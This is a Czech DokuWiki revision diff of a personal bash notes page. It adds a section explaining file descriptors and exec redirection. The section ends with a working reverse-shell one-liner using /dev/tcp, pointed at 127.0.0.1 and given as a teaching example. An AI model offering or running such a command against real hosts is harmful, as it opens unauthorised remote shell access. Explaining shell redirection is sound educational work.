Uživatelské nástroje

Nástroje pro tento web


bash_general

Rozdíly

Zde můžete vidět rozdíly mezi vybranou verzí a aktuální verzí dané stránky.

Odkaz na výstup diff

Obě strany předchozí revizePředchozí verze
Následující verze
Předchozí verze
bash_general [2017/10/28 22:25] – [Startwith/Endwith] djbuldogbash_general [2025/08/28 10:09] (aktuální) – upraveno mimo DokuWiki 127.0.0.1
Řádek 89: Řádek 89:
 AAA AAA
 </code> </code>
 +
 +===== vstupy/výstupy =====
 +
 +  * standardní file descriptor procesu:
 +    * 0 STDIN
 +    * 1 STDOUT
 +    * 2 STDERR
 +
 +  * otevři soubor /tmp/x pro zápis jako STDOUT (FD 1)
 +
 +  exec > /tmp/x
 +  echo "aaa"
 +
 +  echo "aaa" > /tmp/x
 +
 +  * zduplikuj FD 2 na FD 1
 +
 +  exec 2>&1
 +
 +  * nastav FD1 + FD2 na /tmp/x
 +
 +  exec &> /tmp/x
 +
 +  * nastav stdin na stejný fd jeako stdout
 +
 +  0>&1
 +
 +  0<&1
 +
 +  <&1
 +
 +  * reverse shell: vytvoř TCP soket na IP 127.0.0.1, port 9999, nasměruj na něj výstup interaktivního bash shellu a vstup čti z tohoto socketu
 +
 +  bash -i &> /dev/tcp/127.0.0.1/9999 0>&1
 +
  
bash_general.1509222312.txt.gz · Poslední úprava: (upraveno mimo DokuWiki)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki